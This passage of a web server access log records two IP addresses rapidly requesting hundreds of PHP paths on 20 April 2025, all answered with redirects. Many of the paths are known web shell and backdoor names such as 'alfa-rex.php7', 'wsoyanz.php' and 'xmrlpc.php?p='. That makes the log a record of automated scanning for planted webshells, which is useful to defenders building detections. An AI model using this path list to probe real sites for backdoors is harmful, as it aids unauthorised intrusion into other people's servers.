795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:59 -0400] "GET /wp-includes/css/dist/preferences/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:59 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:00 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:01 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:02 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:03 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:04 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:08 -0400] "GET /wp-includes/wp-class.php/wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:11 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:13 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:14 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:16 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:55:17 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:46 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:48 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:49 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:50 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:50 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:51 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:52 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:52 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:53 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:54 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:55 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:55 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:56 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:57 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:57 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:58 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:59 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:55:59 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:00 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:01 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:01 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:02 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:03 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:04 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:04 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:05 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:06 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:07 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:08 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:10 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:11 -0400] "GET /wp-includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:12 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:13 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:14 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:15 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:15 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:16 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:17 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:17 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:18 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:19 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:20 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:20 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:21 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:22 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:22 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:23 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:24 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:25 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:25 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:26 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:27 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:28 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:28 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:29 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:30 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:30 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:31 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:32 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:33 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:33 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:34 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:35 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:35 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:36 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:37 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:38 -0400] "GET /wp-includes/system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:38 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:39 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:40 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:40 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:41 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:42 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:43 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:43 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:44 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:45 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:45 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:46 -0400] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:46 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:47 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:48 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:49 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:49 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:50 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:51 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:51 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:52 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:53 -0400] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:53 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:54 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:55 -0400] "GET /wp-admin/css/license.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:55 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:56 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:57 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:58 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:58 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:56:59 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:00 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:01 -0400] "GET /wp-content/plugins/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:01 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:02 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:03 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:03 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:04 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:05 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:06 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:07 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:07 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:08 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:09 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:09 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:10 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:11 -0400] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:12 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:13 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:13 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:14 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:15 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:15 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:16 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:17 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:17 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:18 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:19 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:19 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:20 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:20 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:21 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:22 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:23 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:25 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:25 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:26 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:27 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:28 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:29 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:30 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:30 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:31 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:31 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:32 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:33 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:33 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:34 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:35 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:35 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:36 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:37 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:37 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:38 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:39 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:39 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:40 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:41 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:42 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:42 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:43 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:44 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:45 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:45 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:46 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:47 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:48 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:48 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:49 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:50 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:50 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:51 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:52 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:52 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:53 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:54 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:55 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:55 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:56 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:57 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:57 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:58 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:59 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:57:59 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:00 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:01 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:01 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:02 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:03 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:03 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:04 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:05 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:05 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:06 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:07 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:07 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:08 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:09 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:09 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:10 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:11 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:12 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:13 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:13 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:14 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:15 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:15 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:16 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:17 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:17 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:18 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:19 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:20 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:20 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:21 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:22 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.123.58 - - [20/Apr/2025:18:58:23 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 